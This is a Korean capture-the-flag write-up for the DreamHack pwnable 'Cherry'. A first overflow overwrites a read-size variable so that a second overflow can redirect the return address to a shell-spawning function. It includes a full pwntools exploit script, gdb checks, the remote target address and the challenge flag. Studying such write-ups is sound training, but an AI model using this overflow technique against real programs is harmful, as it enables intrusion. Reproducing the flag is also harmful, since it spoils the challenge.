[๐Ÿฅ‰ Bronze 3] ํฌ๊ธฐ ๋ณ€์ˆ˜ ์ž์ฒด๊ฐ€ ๊ณผ์ผ์ด์—ˆ๋‹ค โ€” DreamHack Cherry ํ’€์ด

2026-07-20ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 3] ํฌ๊ธฐ ๋ณ€์ˆ˜ ์ž์ฒด๊ฐ€ ๊ณผ์ผ์ด์—ˆ๋‹ค โ€” DreamHack Cherry ํ’€์ด

read()๋ฅผ ๋‘ ๋ฒˆ ๋ถ€๋ฅด๋Š” ์•„์ฃผ ์งง์€ pwnable. ์ฒซ read๋Š” 6๋ฐ”์ดํŠธ์งœ๋ฆฌ ๋ฒ„ํผ์— 16๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›์•„ ๋ช…๋ฐฑํžˆ ๋„˜์น˜๋Š”๋ฐ, ๊ทธ ๋„˜์นœ ์ž๋ฆฌ์— ํ•˜ํ•„ ๋‘ ๋ฒˆ์งธ read๊ฐ€ ์“ธ ํฌ๊ธฐ(buf_size)๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ๋ณ€์ˆ˜ ์ž์ฒด๊ฐ€ ๋†“์—ฌ ์žˆ์—ˆ๋‹ค. ์ฒซ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ํฌ๊ธฐ ์ œํ•œ ์ž์ฒด๋ฅผ ํ’€์–ด๋ฒ„๋ฆฌ๋ฉด, ๋‘ ๋ฒˆ์งธ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ์›ํ•˜๋Š” ๋งŒํผ ์–ผ๋งˆ๋“ ์ง€ ์จ๋„ ๋˜๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋œ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Cherry ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 3 FLAG: DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

๋ฌธ์ œ ์„ค๋ช…์€ "์ฃผ์–ด์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! ํ”Œ๋ž˜๊ทธ๋Š” flag.txt ํŒŒ์ผ์— ์žˆ์Šต๋‹ˆ๋‹ค."๋กœ ์งง๋‹ค. ์†Œ์Šค(chall.c)์™€ ๋ฐ”์ด๋„ˆ๋ฆฌ(chall)๊ฐ€ ๊ทธ๋Œ€๋กœ ์ œ๊ณต๋˜๋Š”, ์†Œ์Šค๊ฐ€ ์žˆ๋Š” pwnable ์ค‘์—์„œ๋„ ํŠนํžˆ ์ฝ”๋“œ๊ฐ€ ์งง์€ ๋ฌธ์ œ์˜€๋‹ค โ€” ํ•จ์ˆ˜ ๋„ค ๊ฐœ, ์ „์ฒด 50์ค„์ด ์•ˆ ๋œ๋‹ค.

Cherry ๋ฌธ์ œ ํŽ˜์ด์ง€ โ€” ์†Œ์Šค์™€ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ œ๊ณต, VM ์ ‘์† ์ •๋ณด
Cherry ๋ฌธ์ œ ํŽ˜์ด์ง€ โ€” ์†Œ์Šค์™€ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ œ๊ณต, VM ์ ‘์† ์ •๋ณด


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Cherry
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 3
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต ํŒŒ์ผchall.c, chall (x86-64 ELF)
ํ•ต์‹ฌ ๊ธฐ๋ฒ•ํฌ๊ธฐ ๋ณ€์ˆ˜ ์ž์ฒด๋ฅผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ๋ฎ์–ด 2์ฐจ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฌด์ œํ•œ์œผ๋กœ ํ™•์žฅ


๐Ÿ”ฌ ์ •์ฐฐ โ€” ๋ณดํ˜ธ๊ธฐ๋ฒ•๊ณผ ์†Œ์Šค

checksec --file=chall

checksec ๊ฒฐ๊ณผ โ€” No canary found, No PIE, Partial RELRO. SHSTK/IBT๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ์š”์ฒญ ํ”Œ๋ž˜๊ทธ์ผ ๋ฟ ์‹ค์ œ ์ปค๋„ ๊ฐ•์ œ ์—ฌ๋ถ€๋Š” ๋ณ„๊ฐœ
checksec ๊ฒฐ๊ณผ โ€” No canary found, No PIE, Partial RELRO. SHSTK/IBT๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ์š”์ฒญ ํ”Œ๋ž˜๊ทธ์ผ ๋ฟ ์‹ค์ œ ์ปค๋„ ๊ฐ•์ œ ์—ฌ๋ถ€๋Š” ๋ณ„๊ฐœ

์นด๋‚˜๋ฆฌ๊ฐ€ ์—†๊ณ  PIE๋„ ๊บผ์ ธ ์žˆ๋‹ค โ€” ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ๋ฎ์–ด์จ๋„ ์•„๋ฌด ๊ฒ€์ฆ ์—†์ด ํ†ต๊ณผํ•˜๊ณ , ํ•จ์ˆ˜ ์ฃผ์†Œ๋„ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๊ณ ์ •์ด๋ผ๋Š” ๋œป์ด๋‹ค. ์†Œ์Šค๋ฅผ ์ฝ์–ด๋ดค๋‹ค.

void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
 
int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry";
    int buf_size = 0x10;
    char buf[0x6];
 
    initialize();
 
    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }
 
    return 0;
}

chall.c ์ „์ฒด ์†Œ์Šค โ€” flag() ํ•จ์ˆ˜๊ฐ€ execve("/bin/sh")๋ฅผ ๊ทธ๋Œ€๋กœ ๊ฐ–๊ณ  ์žˆ๊ณ , main์€ read๋ฅผ ๋‘ ๋ฒˆ ํ˜ธ์ถœํ•œ๋‹ค
chall.c ์ „์ฒด ์†Œ์Šค โ€” flag() ํ•จ์ˆ˜๊ฐ€ execve("/bin/sh")๋ฅผ ๊ทธ๋Œ€๋กœ ๊ฐ–๊ณ  ์žˆ๊ณ , main์€ read๋ฅผ ๋‘ ๋ฒˆ ํ˜ธ์ถœํ•œ๋‹ค

๊ฐ€์žฅ ๋จผ์ € ๋ˆˆ์— ๋„๋Š” ๊ฑด buf[0x6](6๋ฐ”์ดํŠธ)์ธ๋ฐ read(stdin_fd, buf, buf_size)๊ฐ€ buf_size=0x10(16๋ฐ”์ดํŠธ)๋งŒํผ ์ฝ๋Š”๋‹ค๋Š” ์  โ€” ์„ ์–ธ ํฌ๊ธฐ๋ณด๋‹ค ํฐ ๊ฐ’์œผ๋กœ ์ฝ์–ด์„œ ์ฆ‰์‹œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋‚œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  flag()๋ผ๋Š”, ๋Œ€๋†“๊ณ  /bin/sh๋ฅผ ์‹คํ–‰์‹œ์ผœ์ฃผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์ด๋ฏธ ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— ์กด์žฌํ•œ๋‹ค. ์นด๋‚˜๋ฆฌ๋„ ์—†์œผ๋‹ˆ ์ „ํ˜•์ ์ธ ret2win์ฒ˜๋Ÿผ ๋ณด์˜€๋‹ค.


โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ โ€” 1์ฐจ read ํ•œ ๋ฒˆ์œผ๋กœ ๋ฐ”๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋  ์ค„ ์•Œ์•˜๋‹ค

์นด๋‚˜๋ฆฌ๊ฐ€ ์—†๋‹ค๋Š” ๊ฑธ ๋ณด์ž๋งˆ์ž "๊ทธ๋Ÿผ ๊ทธ๋ƒฅ buf์— ํŒจ๋”ฉ ์ฑ„์šฐ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ flag()๋กœ ๋ฎ์œผ๋ฉด ๋ ์•„๋‹Œ๊ฐ€"๋ถ€ํ„ฐ ์ƒ๊ฐํ–ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ read(stdin_fd, buf, buf_size)์˜ buf_size๊ฐ€ ์ •ํ™•ํžˆ 0x10(16๋ฐ”์ดํŠธ)์œผ๋กœ ๊ณ ์ • ์ƒ์ˆ˜์ฒ˜๋Ÿผ ๋„˜์–ด๊ฐ„๋‹ค๋Š” ๊ฑธ ๋‹ค์‹œ ๋ณด๊ณ  ๊ณ„์‚ฐ์„ ํ•ด๋ดค๋‹ค.

buf(rbp-0x18) โ†’ ๋ฐ˜ํ™˜์ฃผ์†Œ(rbp+0x8) ๊นŒ์ง€ ๊ฑฐ๋ฆฌ = 0x18 + 0x8 = 0x20(32๋ฐ”์ดํŠธ)
1์ฐจ read๊ฐ€ ์‹ค์ œ๋กœ ์“ธ ์ˆ˜ ์žˆ๋Š” ์ตœ๋Œ€ ๋ฐ”์ดํŠธ ์ˆ˜ = buf_size = 0x10(16๋ฐ”์ดํŠธ)

32๋ฐ”์ดํŠธ๋ฅผ ๋ฎ์–ด์•ผ ๋ฐ˜ํ™˜ ์ฃผ์†Œ์— ๋‹ฟ๋Š”๋ฐ, 1์ฐจ read ์ž์ฒด๊ฐ€ ์• ์ดˆ์— 16๋ฐ”์ดํŠธ๋งŒ ๋ฐ›๋Š”๋‹ค โ€” ์•„๋ฌด๋ฆฌ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ธธ๊ฒŒ ๋ณด๋‚ด๋„ read()๊ฐ€ ๊ทธ ์ด์ƒ์€ ์ž˜๋ผ์„œ ์ฝ์ง€ ์•Š์œผ๋‹ˆ, ์ด ํ•œ ๋ฒˆ์˜ ํ˜ธ์ถœ๋งŒ์œผ๋กœ๋Š” ๋ฌผ๋ฆฌ์ ์œผ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ์— ๋„๋‹ฌํ•  ์ˆ˜ ์—†๋‹ค. ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†๋‹ค๋Š” ์‚ฌ์‹ค ํ•˜๋‚˜๋งŒ์œผ๋กœ "๋ฐ”๋กœ ๋  ๊ฒƒ"์ด๋ผ๊ณ  ๋„˜๊ฒจ์งš์—ˆ๋˜ ๊ฒŒ ์˜คํŒ์ด์—ˆ๋‹ค.

๊ทธ๋ž˜์„œ ๋‹ค์‹œ ์†Œ์Šค๋ฅผ ์ฒœ์ฒœํžˆ ์ฝ๋‹ค๊ฐ€, ๊ทธ 16๋ฐ”์ดํŠธ ์ฝ๊ธฐ ๋ฒ”์œ„ ์•ˆ์— buf(6B)์™€ fruit(6B) ๋ง๊ณ  ๋”ฑ 4๋ฐ”์ดํŠธ๊ฐ€ ๋‚จ๋Š”๋‹ค๋Š” ๊ฑธ ์•Œ์•„์ฑ˜๋‹ค โ€” ๊ทธ๋ฆฌ๊ณ  ๊ทธ 4๋ฐ”์ดํŠธ๊ฐ€ ์ •ํ™•ํžˆ buf_size ๋ณ€์ˆ˜ ์ž์‹ ์˜ ์Šคํƒ ์ฃผ์†Œ์™€ ๊ฒน์นœ๋‹ค. ํฌ๊ธฐ ์ œํ•œ์œผ๋กœ ์“ฐ์ธ ์ƒ์ˆ˜๊ฐ€ ์‚ฌ์‹ค์€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ๋„๋‹ฌ ๊ฐ€๋Šฅํ•œ ์ง€์—ญ ๋ณ€์ˆ˜์˜€๋˜ ๊ฒƒ์ด๋‹ค. "ํ•œ ๋ฒˆ์— ์•ˆ ๋˜๋ฉด ๊ทธ ํ•œ๊ณ„ ์ž์ฒด๋ฅผ ๋จผ์ € ๊นจ์ž"๋Š” ๋ฐฉํ–ฅ์œผ๋กœ ๋ฐ”๊พธ๊ณ  ๋‚˜์„œ์•ผ ์ง„์งœ ํ’€์ด๊ฐ€ ๋ณด์ด๊ธฐ ์‹œ์ž‘ํ–ˆ๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ํฌ๊ธฐ ๋ณ€์ˆ˜ ์ž์ฒด๊ฐ€ ์Šคํƒ ์œ„์— ์žˆ๋‹ค

objdump๋กœ main์˜ ์Šคํƒ ๋ณ€์ˆ˜ ๋ฐฐ์น˜๋ฅผ ์ •ํ™•ํžˆ ์ถ”์ ํ–ˆ๋‹ค.

objdump -d -M intel --disassemble=main chall

objdump๋กœ ํ™•์ธํ•œ main์˜ ์Šคํƒ ๋ณ€์ˆ˜ ์ดˆ๊ธฐํ™” ์ฝ”๋“œ์™€ ์žฌ๊ตฌ์„ฑํ•œ ์ „์ฒด ๋ ˆ์ด์•„์›ƒ โ€” buf_size๊ฐ€ buf/fruit ๋ฐ”๋กœ ๋’ค(rbp-0xc)์— ์œ„์น˜
objdump๋กœ ํ™•์ธํ•œ main์˜ ์Šคํƒ ๋ณ€์ˆ˜ ์ดˆ๊ธฐํ™” ์ฝ”๋“œ์™€ ์žฌ๊ตฌ์„ฑํ•œ ์ „์ฒด ๋ ˆ์ด์•„์›ƒ โ€” buf_size๊ฐ€ buf/fruit ๋ฐ”๋กœ ๋’ค(rbp-0xc)์— ์œ„์น˜

๋‚ฎ์€ ์ฃผ์†Œ๋ถ€ํ„ฐ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

buf[6]       rbp-0x18 ~ rbp-0x12
fruit[6]     rbp-0x12 ~ rbp-0xc
buf_size     rbp-0xc  ~ rbp-0x8
stdout_fd    rbp-0x8  ~ rbp-0x4
stdin_fd     rbp-0x4  ~ rbp+0x0
saved rbp    rbp+0x0  ~ rbp+0x8
return addr  rbp+0x8  ~ rbp+0x10

์ฒซ ๋ฒˆ์งธ read(stdin_fd, buf, buf_size)๋Š” buf_size์˜ ์ดˆ๊นƒ๊ฐ’ 0x10(16๋ฐ”์ดํŠธ)๋งŒํผ buf(rbp-0x18)๋ถ€ํ„ฐ ์ฝ๋Š”๋‹ค. buf(6B) + fruit(6B) + buf_size(4B) = ์ •ํ™•ํžˆ 16๋ฐ”์ดํŠธ โ€” ์ด ์ฒซ ์ฝ๊ธฐ์˜ ๋งˆ์ง€๋ง‰ 4๋ฐ”์ดํŠธ๊ฐ€ ์ •ํ™•ํžˆ buf_size ๋ณ€์ˆ˜ ์ž์‹ ์˜ ์œ„์น˜์— ์ฐฉ์ง€ํ•œ๋‹ค. ์ฆ‰ ์ด ์‹œ์ ์—์„œ ์ด๋ฏธ buf_size๋ฅผ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค.

์ดํ›„ strncmp(buf, "cherry", 6) ๊ฒ€์‚ฌ๋Š” buf์˜ ์ฒ˜์Œ 6๋ฐ”์ดํŠธ๋งŒ ๋ณธ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ํŽ˜์ด๋กœ๋“œ ์•ž 6๋ฐ”์ดํŠธ๋ฅผ "cherry"๋กœ ๋งž์ถฐ์„œ ๊ฒ€์‚ฌ๋งŒ ํ†ต๊ณผ์‹œํ‚ค๋ฉด, ๋‚˜๋จธ์ง€ 10๋ฐ”์ดํŠธ(fruit 6๋ฐ”์ดํŠธ + buf_size 4๋ฐ”์ดํŠธ)๋Š” ์™„์ „ํžˆ ์ž์œ ๋กญ๊ฒŒ ์ฑ„์šธ ์ˆ˜ ์žˆ๋‹ค. buf_size๋ฅผ ์˜ˆ์ปจ๋Œ€ 0x100์ฒ˜๋Ÿผ ํฐ ๊ฐ’์œผ๋กœ ๋ฎ์–ด์“ฐ๋ฉด, ๊ณง๋ฐ”๋กœ ์ด์–ด์ง€๋Š” ๋‘ ๋ฒˆ์งธ read(stdin_fd, fruit, buf_size)๋Š” ์ด์ œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ•œ ํฌ๊ธฐ๋งŒํผ fruit(rbp-0x12)๋ถ€ํ„ฐ ์ฝ๋Š”๋‹ค. fruit์—์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ(rbp+0x8)๊นŒ์ง€๋Š” ์ •ํ™•ํžˆ 26๋ฐ”์ดํŠธ(0x12+0x8=0x1a) โ€” ๋‘ ๋ฒˆ์งธ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ์ด ๊ฑฐ๋ฆฌ๋ฅผ ๊ฐ€๋ณ๊ฒŒ ๋„˜์–ด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋„๋‹ฌํ•œ๋‹ค.

์ด ์˜ˆ์ƒ์ด ๋งž๋Š”์ง€ ์‹ค์ œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ด๋ฉด์„œ gdb๋กœ ๋‘ ์‹œ์ ์˜ ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ง์ ‘ ์ฐ์–ด ํ™•์ธํ–ˆ๋‹ค.

gdb -q -batch \
  -ex 'break *0x40136d' -ex 'run < payload' \
  -ex 'printf "buf_size after 1st read = 0x%x\n", *(unsigned int*)($rbp-0xc)' \
  -ex 'break *0x4013bc' -ex 'continue' \
  -ex 'printf "return-addr slot after 2nd read = 0x%lx\n", *(unsigned long*)($rbp+0x8)' \
  ./chall
gdb๋กœ 1์ฐจ read ์งํ›„ buf_size ๊ฐ’์ด ์ •ํ™•ํžˆ 0x100์œผ๋กœ ๋ฎ์˜€๊ณ , 2์ฐจ read ์งํ›„ ๋ฐ˜ํ™˜์ฃผ์†Œ ์Šฌ๋กฏ์ด flag() ์ฃผ์†Œ 0x4012bc๋กœ ์ •ํ™•ํžˆ ๋ฎ์˜€์Œ์„ ํ™•์ธํ•˜๋Š” ๋Ÿฐํƒ€์ž„ ์บก์ณ

๋‘ ์ง€์  ๋ชจ๋‘ ๊ณ„์‚ฐํ•œ ๊ทธ๋Œ€๋กœ์˜€๋‹ค โ€” 1์ฐจ read ์งํ›„ buf_size๋Š” ์ •ํ™•ํžˆ 0x100์œผ๋กœ, 2์ฐจ read ์งํ›„ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์ž๋ฆฌ๋Š” ์ •ํ™•ํžˆ flag()์˜ ์ฃผ์†Œ(0x4012bc)๋กœ ๋ฎ์—ฌ ์žˆ์—ˆ๋‹ค. ์ •์  ๋ถ„์„์œผ๋กœ ์ถ”๋ก ํ•œ ์˜คํ”„์…‹์ด ๋Ÿฐํƒ€์ž„์—์„œ๋„ ํ•œ ์น˜์˜ ์˜ค์ฐจ ์—†์ด ๋งž์•„๋–จ์–ด์ง„ ๊ฑธ ํ™•์ธํ•œ ๋’ค์—์•ผ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹คํ–‰ํ–ˆ๋‹ค.

1์ฐจ read๊ฐ€ buf_size ๋ณ€์ˆ˜ ์ž์ฒด๋ฅผ ์ž„์˜๊ฐ’์œผ๋กœ ๋ฎ๊ณ , ๊ทธ๋ ‡๊ฒŒ ํ™•์žฅ๋œ buf_size๋กœ 2์ฐจ read๊ฐ€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋„๋‹ฌํ•ด flag() ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ฐ๋Š” ํ๋ฆ„
1์ฐจ read๊ฐ€ buf_size ๋ณ€์ˆ˜ ์ž์ฒด๋ฅผ ์ž„์˜๊ฐ’์œผ๋กœ ๋ฎ๊ณ , ๊ทธ๋ ‡๊ฒŒ ํ™•์žฅ๋œ buf_size๋กœ 2์ฐจ read๊ฐ€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋„๋‹ฌํ•ด flag() ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ฐ๋Š” ํ๋ฆ„

์ •๋ฆฌํ•˜๋ฉด ๊ณต๊ฒฉ์€ 2๋‹จ๊ณ„๋‹ค.

  1. 1์ฐจ ์ž…๋ ฅ(16๋ฐ”์ดํŠธ): "cherry" + ์ž„์˜ 6๋ฐ”์ดํŠธ + buf_size๋ฅผ ํฐ ๊ฐ’์œผ๋กœ ๋ฎ๋Š” 4๋ฐ”์ดํŠธ
  2. 2์ฐจ ์ž…๋ ฅ(์›ํ•˜๋Š” ๋งŒํผ): 26๋ฐ”์ดํŠธ ์ฑ„์›€ + flag()์˜ ์ฃผ์†Œ(0x4012bc) 8๋ฐ”์ดํŠธ

๐ŸŽฏ ์ž์ฒด ์™„๊ฒฐ solve

from pwn import *
 
FLAG_ADDR = 0x4012bc
p = process('./chall')  # ๋˜๋Š” remote(host, port)
 
# 1๋‹จ๊ณ„: buf_size(rbp-0xc) ์ž์ฒด๋ฅผ ๋ฎ์–ด ํ™•์žฅ
stage1 = b"cherry"          # strncmp(buf, "cherry", 6) ํ†ต๊ณผ์šฉ
stage1 += b"A" * 6          # fruit ์ž๋ฆฌ(๋‚ด์šฉ ๋ฌด๊ด€)
stage1 += p32(0x100)        # buf_size๋ฅผ 0x100์œผ๋กœ ํ™•์žฅ
 
p.recvuntil(b"Menu: ")
p.send(stage1)
 
# 2๋‹จ๊ณ„: ํ™•์žฅ๋œ buf_size๋กœ fruit๋ถ€ํ„ฐ ๋ฐ˜ํ™˜์ฃผ์†Œ๊นŒ์ง€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ
stage2 = b"B" * 26 + p64(FLAG_ADDR)
 
p.recvuntil(b"Is it cherry?: ")
p.send(stage2)
 
p.sendline(b"echo SHELL_OK_$(id -u)")
print(p.recv())

๋จผ์ € ๋กœ์ปฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์ •๋ง ์…ธ์ด ๋œจ๋Š”์ง€ ํ™•์ธํ–ˆ๋‹ค.

pwntools debug ๋กœ๊ทธ โ€” 1์ฐจ ํŽ˜์ด๋กœ๋“œ ๋งˆ์ง€๋ง‰ 4๋ฐ”์ดํŠธ(00 01 00 00)๊ฐ€ buf_size์—, 2์ฐจ ํŽ˜์ด๋กœ๋“œ ๋งˆ์ง€๋ง‰ 8๋ฐ”์ดํŠธ(bc 12 40 00...)๊ฐ€ ๋ฐ˜ํ™˜์ฃผ์†Œ์— ๊ฐ๊ฐ ์ •ํ™•ํžˆ ์ฐฉ์ง€. echo ๋ช…๋ น์ด SHELL_OK_1000์œผ๋กœ ์‘๋‹ตํ•ด ์…ธ ํš๋“์„ ํ™•์ธ
pwntools debug ๋กœ๊ทธ โ€” 1์ฐจ ํŽ˜์ด๋กœ๋“œ ๋งˆ์ง€๋ง‰ 4๋ฐ”์ดํŠธ(00 01 00 00)๊ฐ€ buf_size์—, 2์ฐจ ํŽ˜์ด๋กœ๋“œ ๋งˆ์ง€๋ง‰ 8๋ฐ”์ดํŠธ(bc 12 40 00...)๊ฐ€ ๋ฐ˜ํ™˜์ฃผ์†Œ์— ๊ฐ๊ฐ ์ •ํ™•ํžˆ ์ฐฉ์ง€. echo ๋ช…๋ น์ด SHELL_OK_1000์œผ๋กœ ์‘๋‹ตํ•ด ์…ธ ํš๋“์„ ํ™•์ธ

๋กœ์ปฌ์—์„œ ์…ธ์ด ๋œจ๋Š” ๊ฑธ ํ™•์ธํ•œ ๋’ค, ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์›๊ฒฉ ์„œ๋ฒ„์— ์ˆ๋‹ค.

python3 solve.py remote host3.dreamhack.games:10180

์›๊ฒฉ nc ์„œ๋ฒ„์— ๋™์ผ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํ–‰ โ€” ๋กœ์ปฌ๊ณผ ์™„์ „ํžˆ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ฆ‰์‹œ flag ํš๋“
์›๊ฒฉ nc ์„œ๋ฒ„์— ๋™์ผ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํ–‰ โ€” ๋กœ์ปฌ๊ณผ ์™„์ „ํžˆ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ฆ‰์‹œ flag ํš๋“

๋กœ์ปฌ๊ณผ ์ •ํ™•ํžˆ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์›๊ฒฉ์—์„œ๋„ ์…ธ์ด ๋œจ๊ณ , cat flag* ๊ฒฐ๊ณผ๋กœ ์‹ค์ œ flag๊ฐ€ ๊ทธ๋Œ€๋กœ ๋Œ์•„์™”๋‹ค.

FLAG: DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}


๐Ÿ“ ๊ฒฐ๋ก 

ํฌ๊ธฐ ์ œํ•œ ์ž์ฒด๊ฐ€ ์กฐ์ž‘ ๊ฐ€๋Šฅํ•œ ๋ฐ์ดํ„ฐ๋ผ๋ฉด, ๊ทธ ์ œํ•œ์€ ์—†๋Š” ๊ฒƒ์ด๋‚˜ ๋งˆ์ฐฌ๊ฐ€์ง€๋‹ค. buf_size๋Š” ์ฝ”๋“œ๋ฅผ ์ฝ์„ ๋•Œ๋Š” "์•ˆ์ „์„ ์œ„ํ•ด ๋ช…์‹œ์ ์œผ๋กœ ์ง€์ •ํ•œ ์ฝ๊ธฐ ๊ธธ์ด"์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” ์Šคํƒ ์œ„์˜ ํ‰๋ฒ”ํ•œ ์ง€์—ญ ๋ณ€์ˆ˜๋ผ์„œ ์ธ์ ‘ํ•œ ๋ฒ„ํผ์˜ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์ž์œ ๋กญ๊ฒŒ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์—ˆ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•ด ํฌ๊ธฐ๋ฅผ ์ƒ์ˆ˜๋กœ ๋„˜๊ธฐ๋Š” ์Šต๊ด€์ด ์žˆ๋‹ค๋ฉด, ๊ทธ ์ƒ์ˆ˜๊ฐ€ ๋‹ด๊ธด ๋ณ€์ˆ˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜๊ฐ€ ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ๊นŒ์ง€ ํ•จ๊ป˜ ๊ณ ๋ คํ•ด์•ผ ํ•œ๋‹ค.

์ž‘์€ 1์ฐจ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ํ›จ์”ฌ ํฐ 2์ฐจ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ๋ฌธ์„ ์—ฐ๋‹ค. ์ด ๋ฌธ์ œ์˜ ์ฒซ read๋งŒ ๋†“๊ณ  ๋ณด๋ฉด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋„๋‹ฌํ•˜์ง€ ๋ชปํ•˜๋Š”, ์–ผํ• "๋œ ์œ„ํ—˜ํ•ด ๋ณด์ด๋Š”" ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋‹ค. ํ•˜์ง€๋งŒ ๊ทธ ์—ฌํŒŒ๊ฐ€ ๋‹ค์Œ ์ž‘์—…์˜ ํฌ๊ธฐ ์ œํ•œ ์ž์ฒด๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๋ฉด์„œ ํ›จ์”ฌ ๊ฐ•๋ ฅํ•œ 2์ฐจ ์ทจ์•ฝ์ ์œผ๋กœ ์ด์–ด์กŒ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํ•˜๋‚˜๋ฅผ ๋ถ„์„ํ•  ๋•Œ "์–ผ๋งˆ๋‚˜ ๋ฉ€๋ฆฌ ๋„๋‹ฌํ•˜๋Š”๊ฐ€"๋ฟ ์•„๋‹ˆ๋ผ "๋ฌด์—‡์„ ๋ฎ์–ด์“ฐ๋Š”๊ฐ€"๊นŒ์ง€ ํ™•์ธํ•ด์•ผ ํ•˜๋Š” ์ด์œ ๋‹ค.

